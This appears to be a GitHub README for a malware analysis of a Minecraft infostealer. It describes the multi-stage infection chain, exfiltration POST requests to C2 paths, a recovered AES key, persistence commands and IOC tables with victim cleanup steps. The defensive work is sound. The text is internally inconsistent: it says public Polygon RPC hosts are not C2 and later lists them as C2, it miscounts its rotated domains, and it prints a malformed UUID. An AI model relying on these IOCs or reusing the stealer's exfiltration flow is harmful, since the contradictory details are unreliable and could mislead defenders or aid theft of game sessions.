digitalforensiker/silentnet-analysis
GitHub: digitalforensiker/silentnet-analysis
一份对 silentnet.st Minecraft 信息窃取恶意软件的完整逆向分析报告,揭示其通过链上智能合约轮换 C2 域名的运营机制并提供检测规则与 IOC。
Stars: 0 | Forks: 0
# silentnet-analysis — 恶意软件分析报告
[](LICENSE)
[](#)
[](docs/IOCs.md)
[](#)
## 🚔 致执法部门 / 当局
本仓库是一份针对活跃的针对 Minecraft 玩家的信息窃取活动的**公开逆向工程分析**。运营者通过伪装成免费 Minecraft mod 的 `silentnet.st` 分发恶意软件。以下是为归因和起诉提供的关键调查结果:
### 运营者智能合约 + C2 域名(Ethereum/Polygon — 可在链上追踪)
**重大发现:** “钱包地址”`0x9c0a5073...` 实际上是运营者部署的**智能合约**。它在链上存储了**真实的 C2 域名**:
| 项目 | 值 |
|---|---|
| 智能合约地址 | `0x9c0a507300fd902787bb193d80fca5ce6e1bff9a` |
| 合约所有者(真实的运营者 EOA) | `0x6767c6496541b530A5D1d0eB9b80bd5c7bF56767` |
| **当前 C2 域名(存储在链上)** | **`thisisafalsepositive.st`** |
| 合约功能 | `setMessage(string)`(选择器 `0x368b8772`)、`owner()`(选择器 `0x8da5cb5b`) |
| 链上交易次数 | 154 多天内进行了 13 次 `setMessage()` 调用 |
| 所有者 EOA 余额 | ~77 POL(~$6.20) |
**C2 解析的实际工作原理:**
1. 窃取程序通过 `eth_call` 读取合约存储(插槽 0)→ 获取 `thisisafalsepositive.st`
2. 使用 Cloudflare DoH(`cloudflare-dns.com`、`1.1.1.1`)作为传输通道,通过 **Handshake domains** (HNS) 解析 `thisisafalsepositive.st`
3. 连接到解析后的 IP 进行 C2 通信
那 7 个“Polygon-RPC 主机名”(polygon-rpc.com 等)**不是 C2** —— 它们是窃取程序用来读取合约和提供 DoH 传输的 RPC endpoint。实际的 C2 是 `thisisafalsepositive.st`。
**C2 域名轮换历史(154 天内更换了 11 个域名,全部在链上):**
运营者通过 `setMessage()` 交易轮换了 11 次 C2 域名。所有历史域名都永久记录在 Polygon 区块链上:
| 域名 | 使用时间 ~ |
|---|---|
| `sltnnt.ru` | 154 天前(原始)+ 14 天前(恢复使用) |
| `thisisafalsepositive.ru` | 92 天前 |
| `iswear.thisisafalsepositive.ru` | 67 天前 |
| `v3.thisisafalsepositive.ru` | 42 天前 |
| `v4.thisisafalsepositive.ru` | 22 天前 |
| `v5.thisisafalsepositive.ru` | 21 天前 |
| `v6.thisisafalsepositive.ru` | 14 天前 |
| `qasrgaovaf7m.thisisafalsepositive.ru` | 14 天前 |
| `v7.thisisafalsepositive.ru` | 14 天前 |
| `thisisafalsepositive.st` | 4 天前(**当前**) |
所有 11 个域名都应添加到 EDR / DNS 黑名单中。应传唤 `.ru` 和 `.st` 顶级域名(TLD)的注册机构以获取注册记录(`.ru` -> Coordination Center for TLD RU,`.st` -> Nic.st)。
**链上证据(不可篡改,可公开验证):**
- **合约:** https://polygonscan.com/address/0x9c0a507300fd902787bb193d80fca5ce6e1bff9a
- **所有者 EOA:** https://polygonscan.com/address/0x6767c6496541b530A5D1d0eB9b80bd5c7bF56767
- 13 笔 `setMessage()` 交易中的每一笔都是一次 **C2 域名轮换** —— 永久记录、带有时间戳且可归因。
**传唤目标(按优先级排序):**
1. **为 `0x6767c649...` 提供资金的加密货币交易所** —— 该 EOA 为 13 笔交易支付了 gas。沿着资金链反向追踪(通过 Chainalysis / TRM Labs / Elliptic),找出哪个交易所向该地址存入了 POL/MATIC。传唤该交易所获取 KYC 信息。**这是目前最强烈的线索。**
2. **DDoS-Guard**(`silentnet.st` 的 CDN/边缘提供商)—— 请求 `silentnet.st` 运营者的账户和支付信息。
3. **`thisisafalsepositive.st` 的域名注册商** —— `.st` 顶级域名由 [Nic.st](https://nic.st) 管理。传唤他们以获取注册记录。
4. **ImprovMX**(`silentnet.st` 的邮件转发商)—— 请求获取账户信息。
### 硬编码的会话 UUID
```
6f4dbce8-1901-5bedcd758eac
```
每次感染都使用相同的值。在 C2 HTTP 标头/cookie 中用作会话标识符。与 C2 服务器日志(如果被查获)进行匹配以归因感染。
### C2 基础设施(通过 Handshake domains 解析)
C2 主机名是**在运行时通过 Handshake domains**(HNS — Handshake Naming System)解析的,绕过了标准的 OS DNS 解析器。Cloudflare DoH endpoint(`cloudflare-dns.com`、`1.1.1.1`)是 Handshake 查询的**传输通道**,而不是解析机制本身。实际的 `.eth`/`.hns` Handshake 域名以加密形式硬编码在 `ahf_lzk.java` 中,目前尚未被还原。
| 主机名 | 角色 |
|---|---|
| `polygon-rpc.com` | 主要 C2 |
| `polygon.drpc.org` | 备用 C2 |
| `polygon-bor-rpc.publicnode.com` | 备用 C2 |
| `rpc-mainnet.matic.network` | 备用 C2 |
| `polygon.llnodes.net` | 备用 C2 |
| `1rpc.io/matic` | 备用 C2 |
| `llamarpc.com` | 备用 C2 |
### 举报
如果您是受害者或有更多信息:
- **德国:** [BKA-ZIT](https://www.bka.de/DE/IhreSicherheit/Verbraucherprevention/Onlinestrategien/Cybercrime/cybercrime_node.html) — Bundeskriminalamt, Zentralstelle für Informationstechnik im Verbund
- **美国:** [FBI IC3](https://www.ic3.gov/) — Internet Crime Complaint Center
- **英国:** [Action Fraud](https://www.actionfraud.police.uk/)
- **欧盟:** [Europol EC3](https://www.europol.europa.eu/about-europol/european-cybercrime-centre-ec3)
如果您有 `main.py`(阶段 3,在运行时下载)的样本,请通过 [GitHub Issues](../../issues) 分享 —— 使用密码 `infected` 对其进行 zip 压缩并上传到 [MalwareBazaar](https://bazaar.abuse.ch/),然后发布链接。
## 📖 目录
- [致执法部门](#-for-law-enforcement--authorities)
- [什么是 silentnet.st?](#-what-is-silentnetst)
- [恶意软件阶段](#-malware-stages-quick-view)
- [阶段 1:Launcher.exe](#-stage-1--launcherexe-rust-loader)
- [阶段 2:mod.jar](#-stage-2--modjar-java-fabric-mod)
- [阶段 3:main.py](#-stage-3--mainpy-python-stager-not-analyzed)
- [IOC 一览](#-iocs-at-a-glance)
- [完整恶意软件分析](#-full-malware-analysis)
- [反编译源代码](#-decompiled-source-code)
- [持久化分析](#-persistence-analysis--what-launcherexe-does-not-do)
- [负责任的披露](#-responsible-disclosure--law-enforcement)
- [许可证](#-license)
## 🦠 什么是 silentnet.st?
`silentnet.st` 是一个分发伪装成免费 Minecraft mod / modpack 的**信息窃取程序**的网站。感染链包含三个组件:
| 组件 | 文件 | 角色 |
|---|---|---|
| **阶段 1 — Loader** | `Launcher.exe` | 使用 Rust 编译的 Windows x64 二进制文件。使用原始的 `WS2_32` socket,通过 `Crypt32` 枚举系统的证书存储,并在 classpath 上生成带有 `mod.jar` 的 `javaw.exe`。 |
| **阶段 2 — Mod / Beacon** | `mod.jar` | Java 21 Minecraft Fabric mod。窃取 Minecraft 会话(用户名、UUID、访问 token),通过 Handshake domains 解析 C2,并向伪装成 Polygon-RPC 的 C2 endpoint 发送 POST 请求。 |
| **阶段 3 — Stager** | `main.py`(在运行时下载) | 通过 HTTPS 从 C2 获取的 Python 脚本。可能执行实际的浏览器 cookie / 钱包窃取。**本仓库未进行分析**,因为它是动态获取的 —— 我们只有获取它的 loader。 |
**它窃取的内容(根据逆向工程重构):**
- Minecraft 用户名 + UUID + 会话访问 token(让攻击者在没有密码的情况下获得完整的账户访问权限)
- Minecraft `latest.log` 文件(可能包含聊天记录、服务器 IP、会话信息)
- 可能还有浏览器 cookie / 保存的密码 / 加密货币钱包 —— 由阶段 3 Python stager 负责处理(此处未分析)
**它的通信方式:**
- **C2 传输:** 向 7 个伪装成 Polygon-RPC 的主机名之一(`polygon-rpc.com`、`polygon.drpc.org`、`polygon-bor-rpc.publicnode.com` 等)发送 HTTPS POST 请求。
- **DNS 解析:** C2 主机名通过 **Handshake domains**(HNS — Handshake Naming System)解析。窃取程序查询具有 Handshake 感知能力的 DoH 解析器(观察到的传输通道:`cloudflare-dns.com/dns-query?dns=` 和作为备用通道的 `1.1.1.1/dns-query?dns=`),以解析映射到实际 C2 IP 的 `.eth`/`.hns` 风格的 Handshake 域名。Handshake 域名本身以加密形式硬编码在字节码中(尚未还原)。这**完全绕过了 OS DNS 解析器** —— Pi-hole、NextDNS、企业 DNS 日志记录和路由器 DNS 黑名单对它都失效了。
- **TLS:** 自定义 Java `SSLSocket` 客户端,使用 **null `X509TrustManager`** —— 接受任何证书,甚至是自签名的。完全避免使用 `HttpURLConnection` 和 OkHttp;不使用代理设置,不使用标准的 user-agent。
- **加密:** 使用 AES(通过 `javax.crypto.Cipher`)解密下载的阶段 3 stager。
## 🧬 恶意软件阶段(快速查看)
```
┌──────────────────────────────────────────────────────────────────────────────┐
│ INFECTION CHAIN │
└──────────────────────────────────────────────────────────────────────────────┘
[Victim downloads "free mod" from forum/Discord]
│
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ STAGE 1: Launcher.exe (Rust, 1.1 MB) │
│ ───────────────────────────────────────────────────────────────────────── │
│ • Uses raw WS2_32 sockets (no WinHTTP) │
│ • Enumerates system certificate store via Crypt32 (likely for pinning bypass)│
│ • Calls CreateProcessW("javaw.exe -cp mod.jar -restarted --env ... │
│ --mcInfo --prefireId ") │
│ • Writes _spawn.log to %LOCALAPPDATA% │
│ • NO persistence (run-once loader — see persistence analysis below) │
└──────────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ STAGE 2: mod.jar (Java 21 Fabric mod, 86 KB, 4 obfuscated classes) │
│ ───────────────────────────────────────────────────────────────────────── │
│ Fabric entrypoint lpofmCyyJlAk.onInitialize() spawns a background thread: │
│ │
│ 1. Read Minecraft session: │
│ class_320 session = MinecraftClient.getInstance().getSession(); │
│ username = session.getUsername(); │
│ uuid = session.getUuid(); │
│ token = session.getSessionUuid(); // ← access token │
│ │
│ 2. Resolve C2 via Handshake domain (gGfuKbYTQc.RMCEkzikFw): │
│ - Query Handshake-aware resolver for the .eth/.hns C2 domain │
│ - Fallback DoH transport: cloudflare-dns.com/dns-query?dns= │
│ OR 1.1.1.1/dns-query?dns= (direct IP, can't be DNS-blocked) │
│ - Parse response, extract A record IP │
│ - Cache IP for Kmxbl ms │
│ → bypasses OS DNS resolver, Pi-hole, NextDNS, router blocklists │
│ │
│ 3. POST registration to C2 (ahf_lzk class): │
│ POST https:///shard/prefireMc │
│ Content-Type: application/json │
│ X-Runtime-Env: jre-embedded │
│ x-cdn-origin-verify: │
│ { │
│ "mcInfo": "", │
│ "prefireId": "", │
│ "userId": "", │
│ "tag": "", │
│ "domain": "", │
│ "gameDir": "", │
│ "mcUuid": "", │
│ "env": "Fabric" │
│ } │
│ │
│ 4. C2 responds with a payload URL. Stealer downloads + AES-decrypts: │
│ GET https:///cdn/e/3b8f6d2a9c1e... │
│ → main.py (Stage 3 Python stager) │
│ → jre-embedded (portable JRE so it doesn't need Java installed) │
│ │
│ 5. Spawn Stage 3: │
│ python.exe main.py --env --mcInfo --prefireId │
│ → writes _stealer.log │
│ │
│ 6. Exfiltrate Minecraft log: │
│ POST https:///shard/submitMinecraftLog │
│ { │
│ "userId": "", │
│ "filename": "combined.log", │
│ "mcUsername": "", │
│ "mcUuid": "", │
│ "executionEnv": "" │
│ } │
└──────────────────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ STAGE 3: main.py (Python, downloaded at runtime — NOT analyzed here) │
│ ───────────────────────────────────────────────────────────────────────── │
│ • Likely performs the actual browser-cookie / wallet theft │
│ • Runs inside the portable JRE so it doesn't depend on the user's Python │
│ • We don't have a sample of main.py — only the Stage 1/2 code that fetches │
│ it. If you have a sample, please submit it via GitHub Issues. │
└──────────────────────────────────────────────────────────────────────────────┘
```
有关完整的技术分析(包括反编译的 Java 片段、字节级的 Handshake 解析协议分解、外泄 payload 以及解密密钥恢复),请参阅 **[docs/MALWARE_ANALYSIS.md](docs/MALWARE_ANALYSIS.md)**。
## 🧩 阶段 1:Launcher.exe(Rust loader)
### 静态属性
| 属性 | 值 |
|---|---|
| 文件大小 | 1,138,688 B (1.1 MB) |
| 格式 | PE32+ (x64),Windows GUI 子系统 |
| 编译器 | Rust (stable) + MinGW LLVM linker |
| 段 | `.text`, `.rdata`, `.data`, `.pdata`, `.CRT`, `.tls`, `.reloc` |
| 导入 | `ntdll.dll` (10 个函数), `KERNEL32.dll` (24 个函数), `ADVAPI32.dll` (4 个函数), `CRYPT32.dll` (3 个函数), `WS2_32.dll` (7 个函数) |
| 入口点 | `0x140001000` |
### 导入(值得注意的)
- **`ntdll.dll`:** `NtClose`, `NtCreateFile`, `NtDeviceIoControlFile`, `NtLockFile`, `NtQueryObject`, `NtSetInformationFile`, `RtlEqualUnicodeString`, `RtlExitUserProcess`, `RtlGetFullPathName_U`, `RtlWaitOnAddress`
- **`KERNEL32.dll`:** `CreateProcessW`, `GetExitCodeProcess`, `WaitForObject`, `VirtualAlloc`, `VirtualFree`, `GetDiskFreeSpaceExW`, `GlobalMemoryStatusEx`, `GetSystemInfo`, `SetEnvironmentVariableA`, `GetFileAttributesW`, `MoveFileW`, `ReadFile`, `WriteFile`
- **`ADVAPI32.dll`:** `RegOpenKeyExA`, `RegQueryValueExA`, `RegCloseKey`, `SystemFunction036`(即 `RtlGenRandom`)
- **`CRYPT32.dll`:** `CertOpenSystemStoreW`, `CertEnumCertificatesInStore`, `CertCloseStore`
- **`WS2_32.dll`:** `WSAStartup`, `WSASocketW`, `connect`, `getaddrinfo`, `freeaddrinfo`, `closesocket`, `WSAGetLastError`
### 行为(重构)
1. 从 `HKLM\Hardware\Description\System\CentralProcessor\0` 读取 CPU 信息(指纹识别 —— 注册表路径在运行时经过了 XOR 去混淆)
2. 生成 `javaw.exe -cp mod.jar -restarted --env --mcInfo --prefireId `
3. 通过 `MoveFileW` 移动文件(可能是提取便携版 JRE)
4. 通过 `SetEnvironmentVariableA` 设置 `java.home` 环境变量
5. 将 `_spawn.log` 写入 `%LOCALAPPDATA%`
6. 通过 `WS2_32` 打开原始 TCP socket(下载阶段 3 stager)
7. 通过 `Crypt32` 枚举系统证书存储(可能用于绕过 TLS pinning)
8. 通过 `ExitProcess` 退出
有关完整的反汇编级别分析,请参阅 [docs/MALWARE_ANALYSIS.md §2](docs/MALWARE_ANALYSIS.md)。
## 🧩 阶段 2:mod.jar(Java Fabric mod)
### 静态属性
| 属性 | 值 |
|---|---|
| 文件大小 | 86,724 B(压缩)/ 118,093 B(未压缩) |
| 格式 | JAR (ZIP) |
| Java 版本 | 21+(根据 `fabric.mod.json` `"java": ">=21"`) |
| Fabric Loader | 0.18.4+ |
| Minecraft 版本 | 1.21.11(根据 manifest) |
| 混淆器 | 自定义 —— XOR 字符串混淆 + 无用的死分支 + 随机类名 |
### 混淆的类名
| 类 | 角色 |
|---|---|
| `com.github.lpofmCyyJlAk` | Fabric 入口点 —— `onInitialize()` 启动窃取线程 |
| `com.github.gGfuKbYTQc` | HTTP 客户端 + Handshake 域名解析器(`RMCEkzikFw` 方法) |
| `com.github.ahf_lzk` | C2 调度器 —— 构建注册 JSON,下载并 AES 解密阶段 3 |
| `com.github.CJcoV` | Launcher 助手(从 MANIFEST.MF 的 `Main-Class` 引用) |
### 混淆方案
所有 178 个字符串文字都被编码为带长度前缀的循环 XOR 数据块:
```
[1 byte: key length N] [N bytes: key] [rest: ciphertext, XORed cyclically with key]
```
使用 `decoded[i] = cipher[i] ^ key[i % N]` 解码。钱包地址被拆分到**通过 `StringBuilder.append()` 连接的 3 个独立数据块**中:
| 数据块 | 解码后 | 十六进制字符 |
|---|---|---|
| 1 | `0x9c0a507300fd` | 12 |
| 2 | `902787bb193d80f` | 15 |
| 3 | `ca5ce6e1bff9a` | 13 |
| **总计** | **`0x9c0a507300fd902787bb193d80fca5ce6e1bff9a`** | **40** |
有关完整的逐类分解,请参阅 [docs/MALWARE_ANALYSIS.md §3](docs/MALWARE_ANALYSIS.md)。
## 🧩 阶段 3:main.py(Python stager,未分析)
阶段 3 在运行时从 `https:///cdn/e/3b8f6d2a9c1e...` 下载。响应经过 AES 加密,并使用密钥 `dK9mT3nR7xQ2L8wF4j"6yB1cN5gA`(从字节码中恢复)在客户端进行解密。
我们**没有 `main.py` 的样本**。如果您获得了样本,请通过 [GitHub Issues](../../issues) 分享(使用密码 `infected` 进行 zip 压缩,上传到 [MalwareBazaar](https://bazaar.abuse.ch/) 并发布链接)。
## 🎯 IOC 一览
### C2 endpoint(HTTPS,端口 443)— 通过 Handshake domains 解析
| 主机名 | 角色 |
|---|---|
| `polygon-rpc.com` | 主要 C2 |
| `polygon.drpc.org` | 备用 C2 |
| `polygon-bor-rpc.publicnode.com` | 备用 C2 |
| `rpc-mainnet.matic.network` | 备用 C2 |
| `polygon.llnodes.net` | 备用 C2 |
| `1rpc.io/matic` | 备用 C2 |
| `llamarpc.com` | 备用 C2 |
### C2 API 路径
| 路径 | 方法 | 目的 |
|---|---|---|
| `/shard/prefireMc` | POST | 初始受害者签到(发送会话 + gameDir) |
| `/shard/submitMinecraftLog` | POST | 外泄 Minecraft `latest.log` 文件 |
| `/cdn/e/3b8f6d2a9c1e...` | GET | 阶段 3 stager 下载(AES 加密的 `main.py` + 便携版 JRE) |
### Handshake 域名解析器(绕过 DNS)
| Endpoint | 用途 |
|---|---|
| `https://cloudflare-dns.com/dns-query?dns=` | 具有 Handshake 感知能力的 DoH 解析器(HNS 查询的传输通道) |
| `https://1.1.1.1/dns-query?dns=` | DoH 直接 IP 备用(无法被 DNS 拦截) |
### 硬编码的标识符
| 标识符 | 类型 | 出现位置 |
|---|---|---|
| `0x9c0a507300fd902787bb193d80fca5ce6e1bff9a` | Ethereum 钱包地址 | 硬编码在 `ahf_lzk.java`(C2 调度器)中。用作运营者的身份标识 / 支付地址。**可在 Polygonscan 上追踪。** |
| `6f4dbce8-1901-5bedcd758eac` | 会话 UUID v4 | 硬编码在 `ahf_lzk.java` 中。在 HTTP 标头 / cookie 中用于 C2 身份验证。 |
| `dK9mT3nR7xQ2L8wF4j"6yB1cN5gA` | AES 解密密钥 | 由 `ahf_lzk` 用于 AES 解密下载的 `main.py` 和 `jre-embedded`。 |
### 运行时工件(取证)
| 文件 | 位置 | 目的 |
|---|---|---|
| `_spawn.log` | `%LOCALAPPDATA%\` 或游戏目录 | 阶段 1 launcher 日志 |
| `_stealer.log` | `%LOCALAPPDATA%\` 或游戏目录 | 阶段 2 窃取程序运行时日志 |
| `latest.log` | `/logs/` | Minecraft 客户端日志 —— 外泄到 C2 |
| `main.py` | `%LOCALAPPDATA%\...\` | 阶段 3 Python stager(已下载) |
| `jre-embedded/` | `%LOCALAPPDATA%\...\` | 便携版 JRE(已下载) |
### 进程生成特征
| 进程 | 命令行特征 |
|---|---|
| `Launcher.exe` | (生成 `javaw.exe`) |
| `javaw.exe` | `-cp -restarted --env --mcInfo --prefireId ` |
| `python.exe` | `main.py --env --mcInfo --prefireId ` |
## 📚 完整恶意软件分析
完整的逆向工程报告 —— 包括反编译的 Java 源代码片段、字节级的 Handshake 解析协议分解、AES 密钥恢复方法、阶段 3 下载机制以及检测特征 —— 位于:
➡️ **[docs/MALWARE_ANALYSIS.md](docs/MALWARE_ANALYSIS.md)**
### 检测规则
- **YARA 规则**(endpoint):[docs/YARA_RULES.yar](docs/YARA_RULES.yar) — 检测 `Launcher.exe`(Rust TLS 字符串 + ntdll 导入)和 `mod.jar`(Fabric manifest + 混淆的类名 + Handshake 解析字符串)。
- **Snort / Suricata 规则**(网络):[docs/SNORT_RULES.conf](docs/SNORT_RULES.conf) — 检测来自非浏览器进程的、发往 `cloudflare-dns.com` 的 Handshake 解析流量,以及 C2 路径匹配。
## 🔍 持久化分析 —— `Launcher.exe` 不做的事情
一个常见的问题:*“如果我被感染了,恶意软件藏在哪里?”* 我们逐条指令反汇编了 `Launcher.exe`(阶段 1,Rust loader),并确认了它使用和不使用的持久化机制。
### `Launcher.exe` 没有的导入
| 机制 | 所需的 API | 是否存在? |
|---|---|---|
| 注册表写入(自启动) | `RegSetValueExA`, `RegCreateKeyExA` | ❌ 未导入 |
| 创建 Windows 服务 | `CreateService`, `OpenSCManager` | ❌ 未导入 |
| 计划任务(COM) | `CoCreateInstance` + `ITaskService` | ❌ 未导入 |
| 计划任务(CLI) | `schtasks.exe` 字符串 | ❌ 未在任何字符串中找到 |
| WMI 订阅 | `WbemScripting.SWbemLocator` | ❌ 未导入 |
| 启动文件夹写入 | Shell-API 调用 | ❌ 未导入 |
### `Launcher.exe` 实际做的事情
| API 调用 | 目的 |
|---|---|
| `RegOpenKeyExA(HKLM, "HARDWARE\DESCRIPTION\System\CentralProcessor\0")` | 读取 CPU 名称(指纹识别,非持久化) |
| `CreateProcessW("javaw.exe -cp mod.jar ...")` × 2 | 生成阶段 2(带有恶意 mod 的 JVM) |
| `MoveFileW(...)` × 1 | 可能是将下载的便携版 JRE 移动到位 |
| `SetEnvironmentVariableA` × 2 | 在生成 JVM 之前设置 `java.home` 等 |
| `WriteFile` | 写入 `_spawn.log`(其自身的运行时日志) |
| `ReadFile` | 读取下载的 payload |
| `WSAStartup` + `WSASocketW` + `connect` | 打开原始 TCP socket(下载阶段 3 stager) |
| `CertOpenSystemStoreW` + `CertEnumCertificatesInStore` | 枚举系统证书存储(可能用于绕过 TLS pinning) |
### 持久化实际存在的位置
`Launcher.exe` 本身是一个**运行一次的 loader** —— 它不会进行持久的安装。持久化来自两个地方:
1. **`mod.jar` 保留在 `.minecraft\mods\` 中** —— 每次受害者启动 Minecraft 时,Fabric loader 都会加载该 mod,窃取程序就会再次运行。这是通过合法的 mod 加载机制实现的“文件持久化”。要清除它:请从 mods 文件夹中删除 `mod.jar`。
2. **阶段 3(`main.py`)可能安装了真正的 Windows 持久化** —— 当 `Launcher.exe` 从 C2 下载 `main.py` 并生成 `python.exe main.py` 时,Python stager 有权访问 `subprocess.run()`、`os.system()`、`winreg`、`shutil` 等。我们没有 `main.py` 样本来确认,但典型的 Python 窃取程序的持久化方式将是:
- `subprocess.run('schtasks /create /tn "JavaUpdate" /tr "python.exe main.py" /sc onlogon')` — 登录时的计划任务
- `winreg.SetValueEx(HKCU\...\Run, "JavaUpdate", "pythonw.exe main.py")` — 注册表 Run 键
- 在 `%APPDATA%\\Windows\Start Menu\Programs\Startup\` 中放入一个 `.lnk` 快捷方式 — 启动文件夹
## 📂 反编译源代码
两个恶意软件组件的完整**反编译和去混淆**源代码可在 [docs/decompiled/](docs/decompiled/) 中找到:
| 文件 | 描述 | 行数 |
|---|---|---|
| [docs/decompiled/ahf_lzk.java](docs/decompiled/ahf_lzk.java) | C2 调度器 —— 解码了 209 个字符串,移除了 38 个死分支 | 2,897 |
| [docs/decompiled/gGfuKbYTQc.java](docs/decompiled/gGfuKbYTQc.java) | HTTP 客户端 + Handshake 解析器 —— 解码了 62 个字符串,移除了 41 个死分支 | 1,712 |
| [docs/decompiled/lpofmCyyJlAk.java](docs/decompiled/lpofmCyyJlAk.java) | Fabric 入口点 —— 解码了 33 个字符串,移除了 8 个死分支 | 523 |
| [docs/decompiled/CJcoV.java](docs/decompiled/CJcoV.java) | Launcher 助手 —— 解码了 27 个字符串,移除了 10 个死分支 | 426 |
| [docs/decompiled/Launcher_exe_pseudocode.md](docs/decompiled/Launcher_exe_pseudocode.md) | Launcher.exe 伪代码(根据反汇编重构) | 258 |
**总计:5,816 行反编译 + 去混淆代码。**
所有 331 个 XOR 混淆的字符串都进行了内联解码(标记为 `/*deobf:*/`)。所有 97 个死代码分支都已移除(标记为 `/* dead code removed */`)。变量名仍然是混淆器生成的乱码 —— 类/字段/方法名无法恢复。
有关完整的去混淆方法以及源代码中关键 IOC 的搜索指南,请参阅 [docs/decompiled/README.md](docs/decompiled/README.md)。
## 🚔 负责任的披露与执法部门
### 致受害者
如果您运行了 `Launcher.exe` / `mod.jar`:
1. **立即更改您的 Microsoft / Minecraft 密码。** 如果尚未启用,请启用 2FA。
2. 在 https://account.microsoft.com/security **撤销所有活跃的会话**
3. **删除** `%LOCALAPPDATA%\_spawn.log`、`%LOCALAPPDATA%\_stealer.log`、`%LOCALAPPDATA%\jre-embedded\`,以及您的 Minecraft `mods/` 文件夹中的 `mod.jar`。
4. 使用 Microsoft Defender(或您首选的防病毒软件)**运行全面扫描**。
5. **检查您浏览器保存的密码**和加密货币钱包 —— 阶段 3 Python stager 很可能也外泄了这些信息。轮换任何您不确定的凭证。
### 致执法部门
请参阅本 README 顶部的 [**致执法部门**](#-for-law-enforcement--authorities) 部分以获取完整的线索摘要(钱包地址、会话 UUID、C2 基础设施、传唤目标)。
### 举报
如果您有:
- `main.py`(阶段 3)的样本 —— 请通过 GitHub Issues 分享(zip 压缩 + 密码保护,密码 = `infected`)。
- 新的 IOC(额外的 C2 主机名、路径、标识符) —— 请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
- 关于运营者的信息 —— 请联系您当地执法机构的网络犯罪部门。
## 📄 许可证
MIT —— 请参阅 [LICENSE](LICENSE)。
IOC 列表、YARA 规则和 Snort 规则属于公共领域(CC0) —— 您可以随意将它们复制到您的 EDR / SIEM / 防火墙配置中,无需注明出处。
**恶意软件样本本身(`Launcher.exe`、`mod.jar`、`main.py`)不受本仓库中任何许可证的约束** —— 它们并未包含在内。如果您通过其他渠道获得样本,您有责任根据当地法律对其进行处理。
## 🙏 致谢
- **CFR** Java 反编译器 —— 用于反编译 `mod.jar`。https://github.com/leibnitz27/cfr
- **Polygonscan** —— 公共的 Polygon 区块链浏览器,用于验证钱包地址是否处于活跃状态。
### ⚖️ 道德使用
本项目是一份**防御性安全研究 / 恶意软件分析报告**。使用它来:
- ✅ 检测和清理您自己系统上的感染
- ✅ 向安全社区贡献 IOC
- ✅ 协助执法部门归因恶意软件运营者
- ✅ 了解恶意软件内部原理和防御技术
请**不要**使用它来:
- ❌ 分发恶意软件样本(我们不这样做,您也不应该)
- ❌ 攻击不属于您的系统
- ❌ 基于此分析构建攻击性工具
标签:DAST, DNS信息、DNS暴力破解, DNS 反向解析, HTTP工具, IP 地址批量处理, YARA规则, 云资产清单, 信息窃取器, 区块链追踪, 可视化界面, 威胁情报, 开发者工具, 恶意软件分析, 网络信息收集, 逆向工具, 逆向工程